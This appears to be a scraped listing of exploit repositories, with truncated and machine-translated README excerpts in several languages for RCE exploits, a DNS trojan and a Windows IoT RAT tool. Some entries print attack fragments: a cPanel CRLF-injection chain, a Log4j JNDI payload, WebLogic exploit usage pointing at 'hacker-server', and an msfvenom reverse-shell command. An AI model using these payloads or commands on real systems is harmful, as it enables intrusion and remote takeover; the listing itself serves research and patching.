CVE-2026-27966--RCE-in-Langflow

🚀 CVE-2026-27966 - Strumento di Exploit RCE per Langflow Strumento di sfruttamento All-in-One per CVE-2026-27966 📋 Descrizione Questo strumento è un exploit all-in-one per CVE-2026-27966, una vulnerabilità di Remote Code Execution RCE su Langflow che consente a un attaccante di eseguire comandi d...

CVE-2026-41940

CVE-2026-41940 — cPanel/WHM 认证绕过 作者: Dr.Anach | 联系方式: @dranach | 许可证: MIT 概述 cpsrvd Basic 认证处理器中的 CRLF 注入 → 未认证的 WHM API 访问 → 以 root 身份远程执行代码。影响所有自 v11.40 以来的 cPanel 版本。 攻击链 | 步骤| 请求 ---|---|--- 1| 创建会话| GET /login/?user=root 2| CRLF 注入| Authorization: Basic — 密码携带 \r\n 载荷 3| 缓存提升| GET...

CVE-2025-55182

Scanner CVE-2025-55182 Questo repository contiene uno strumento di scansione per CVE-2025-55182 RCE e CVE-2025-55183 Divulgazione del codice sorgente in Next.js React Server Components RSC. ⚠️ Avvertenze Questo strumento è solo per scopi educativi e di test autorizzati. Non utilizzare questo...

CVE-2026-41089

CVE-2026-41089 — Windows Netlogon CLDAP Stack Buffer Overflow RCE Exploit CVE-ID: CVE-2026-41089 CVSS: 9.8 Critical CWE: CWE-121 Stack-based Buffer Overflow Angriffsvektor: UDP/389 CLDAP SearchRequest Auswirkung: Remote Code Execution RCE / Denial of Service DoS Betroffene Versionen: Windows Serv...

Log4J_0day_RCE

Community beitreten Telegram CVE-2021-44228Apache Log4j Remote Code Execution） Betroffene Versionen Sie können JNDI-Injection-Exploit zum Ausnutzen verwenden. Bypass rc1 Zum Beispiel: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

SirepRAT

SirepRAT - RCE als SYSTEM auf Windows IoT Core SirepRAT bietet vollständige RAT-Fähigkeiten, ohne dass eine echte RAT-Malware auf dem Ziel installiert werden muss. Kontext Die Methode nutzt den Sirep Test Service aus, der in den offiziellen Images integriert ist und auf ihnen läuft, die auf der...

dnschan

dnschan Questo è un trojan che funziona su DNS. Puoi: gestire più agenti molto lentamente caricare file recuperare file dal web eseguire processi...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - Cacti Authenticated Graph Template RCE Utilizzo e Sicurezza Importante — Leggi prima questo: Questo repository e exploit.py sono forniti solo a scopo educativo e di ricerca. Non utilizzare questo codice contro sistemi, reti o servizi per i quali non si dispone di autorizzazione...

CVE-2021-1732-EXP-

Questo repository non contiene un README...

CVE-2025-40634

CVE-2025-40634 O roteador TP-Link Archer AX50 é vulnerável a um estouro de buffer baseado em pilha na versão de firmware 1.0.14 Build 20240108 rel.426554555, levando à execução remota de código tanto na LAN quanto na WAN. Essa vulnerabilidade tem a mesma causa raiz do CVE-2020-10881, descoberta...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 è una vulnerabilità critica nei prodotti FortiOS e FortiProxy di Fortinet, presente nel componente SSL VPN. Questa vulnerabilità consente a un attaccante remoto non autenticato di eseguire codice o comandi arbitrari sul sistema target tramite richieste HTTP...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 Funktionierender POC für CVE 2017-5638 Dieses Repo enthält ein funktionierendes Python-Beispiel, das die RCE-Fähigkeiten von CVE 2017-5638 demonstriert. Zur Referenz ist außerdem die Struts-Showcase-WAR-Datei enthalten...

CVE-2024-29671-POC

NEXTU FLETA Wifi6 路由器 RCE 漏洞利用 POC 本文件描述了如何在 NEXTU FLATA AX1500 路由器固件中利用 CVE-2024-29671 漏洞。 执行环境 该路由器基于 MIPS 架构，采用 Realtek 芯片组，小端序。 目标路由器固件版本为 v1.0.2。 该固件包含一个名为 "boa" 的内嵌 Web 服务器，该服务器最后发布于 2005 年。 然而，该路由器使用 boa Web 服务器提供管理 Web 页面服务，用于控制路由器固件。 漏洞成因 "boa" 二进制程序的安全状态如下所示。 图 1. boa Web 服务器二进制程序...

CVE-2026-29053

Este é um retrabalho do Repo de rootxran para esta mesma CVE - https://github.com/rootxran/CVE-2026-29053 Durante testes contra ambientes específicos do Ghost CMS, o payload do tema original acionou um Erro Fatal do Handlebars. O CMS falhou ao ativar o tema malicioso porque ele referenciava um...

CVE-2025-69906-Monstra-CMS-3.0.4-Arbitrary-File-Upload-to-RCE

CVE-2025-69906: Monstra CMS 3.0.4 Upload Arbitrário de Arquivo para RCE Autor : David PS Abraham Data : 5 de fevereiro de 2026 Severidade : Crítica - Execução Remota de Código CVSS 8.8+ CWE : 434 Upload Irrestrito de Arquivo com Tipo Perigoso Descrição da Vulnerabilidade O plugin Files Manager do...

CVE-2025-29306_poc

Descrição Publicado: 2025-03-27 Atualizado: 2025-03-27 Um problema no FoxCMS v.1.2.5 permite que um atacante remoto execute código arbitrário por meio da página de exibição de caso no componente index.html. Uso: python testpoc.py -u http://192.168.0.1/images/index.html "id" python testpoc.py -f...

opsxcq-cve-2016-10033

PHPMailer 5.2.18 Execução Remota de Código PHPMailer é a classe de transporte mais popular do mundo, com cerca de 9 milhões de usuários em todo o mundo. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii...

CVE-2009-3999

CVE-2009-3999 Exploit do HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASSO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b...

WIn-CVE-2021-31166

WIn-CVE-2021-31166 Dieses Repository ist inspiriert von 0vercl0k für einen Proof-of-Concept für CVE-2021-31166 "HTTP Protocol Stack Remote Code Execution Vulnerability", eine Use-After-Free-Dereferenzierung in http.sys, die von Microsoft im Mai 2021 gepatcht wurde. Build-Infrastruktur...